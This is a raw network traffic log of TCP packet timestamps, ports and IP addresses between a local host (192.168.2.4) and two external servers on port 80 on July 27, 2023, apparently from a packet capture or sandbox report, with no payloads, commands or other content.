Jul 27, 2023 18:27:09.548191071 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548193932 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548242092 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548243046 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548285961 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548327923 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548374891 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548376083 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548417091 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548423052 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548469067 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548470020 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548516989 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548527002 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548563004 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548578978 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548634052 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548646927 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548692942 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548696041 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548744917 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548744917 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548788071 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548789978 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548837900 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548839092 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548885107 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548892975 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548930883 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548933983 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548976898 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548976898 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549022913 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549025059 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549069881 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549072981 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549118042 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549120903 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549165964 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549170971 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549211979 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549211979 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549259901 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549284935 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549307108 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549313068 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549352884 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549398899 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549427986 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549444914 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549458981 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549491882 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549495935 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549535990 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549580097 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549587011 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549601078 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549634933 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549664021 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549700975 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549702883 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549766064 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549766064 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549813032 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549840927 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549859047 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549870968 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549906969 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549921989 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549952984 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.549956083 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.549999952 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.550029993 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.550069094 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.555183887 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.555232048 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.571456909 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.571496010 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625108004 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625160933 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625241995 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.625253916 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625304937 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625350952 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625371933 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.625396967 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625444889 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625488043 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.625490904 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625536919 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625564098 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.625583887 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625608921 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.625633955 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.625803947 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625848055 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.625911951 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.656162024 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.656215906 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.656284094 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.656310081 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.656347036 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.656394005 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.656414032 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.656519890 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.656586885 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.656598091 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.656635046 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.656678915 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.656714916 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.656745911 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.656769037 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.657242060 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.657289028 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.657335997 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.657380104 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.657416105 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.657424927 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.657485962 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.658226013 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.658277988 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.658328056 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.658348083 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.658375978 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.658422947 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.658432961 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.659224033 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.659271955 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.659291029 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.659321070 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.659363031 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.659378052 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.659564972 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.689094067 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.689168930 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.689218044 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.689282894 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.689289093 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.689344883 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.689374924 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.689393044 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.689440966 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.689487934 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.689510107 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.689584017 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.689594030 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.689632893 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.689709902 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.690244913 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.690299034 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.690372944 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.690376997 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.690439939 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.690494061 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.690541029 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.691184044 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.691231966 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.691277981 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.691296101 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.691323996 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.691327095 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.691374063 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.691430092 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.692152977 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.692199945 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.692245007 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.692251921 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.692328930 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.692379951 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.692389965 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.693133116 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.693181992 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.693228960 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.693274021 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.693279028 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.693279028 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.693321943 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.694058895 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.694107056 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.694150925 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.694152117 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.694174051 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.694196939 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.694242001 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.694303989 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.695044994 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.695091963 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.695137024 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.695178986 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.695180893 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.695200920 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.695225000 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.695278883 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.696003914 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.696053982 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.696099043 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.696137905 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.696146011 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.696191072 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.696254969 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.696901083 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.697526932 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.720659018 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.720711946 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.720756054 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.720803976 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.720845938 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.720861912 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.720861912 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.720895052 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.720942974 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.720949888 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.720988989 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.721035957 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.721050978 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.721087933 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.721153975 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.721739054 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.721786022 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.721832991 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.721878052 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.721898079 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.721921921 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.721975088 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.722625971 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.722673893 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.722702980 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.722717047 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.722760916 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.722774029 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.722806931 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.722866058 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.723562956 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.723609924 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.723658085 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.723679066 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.723701954 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.723747969 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.723758936 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.724467993 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.724515915 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.724550962 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.724561930 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.724606037 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.724617958 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.724652052 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.724710941 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.725342989 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.725389957 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.725435972 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.725493908 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.725502014 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.725557089 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.725562096 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.726289034 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.726340055 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.726387024 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.726409912 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.726433039 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.726449966 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.726480007 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.726552010 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.727216959 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.727267981 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.727317095 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.727363110 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.727387905 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.727410078 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.727410078 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.728106976 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.728156090 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.728193045 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.728203058 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.728249073 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.728307962 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.728333950 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.728394985 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.729044914 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.729090929 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.729155064 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.737162113 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.737210989 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.737250090 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.737341881 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.737375975 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.737421989 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.737468958 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.737498999 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.737517118 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.737521887 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.737584114 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.737658024 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.738248110 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.738297939 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.738346100 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.738363981 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.738393068 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.738440037 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.738507032 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.739219904 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.739316940 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.739336014 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.739362955 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.739408970 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.739455938 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.739468098 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.739571095 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.740102053 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.740148067 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.740195036 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.740207911 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.740242958 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.740325928 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.740382910 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.741024017 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.741060019 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.741147041 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.741213083 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.741261005 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.741311073 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.741328001 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.741353035 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.741358042 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.741405964 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.741497993 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.742635012 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.742683887 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.742729902 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.742758989 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.742774963 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.742822886 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.742885113 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.743056059 CEST	80	49713	188.114.97.7	192.168.2.4
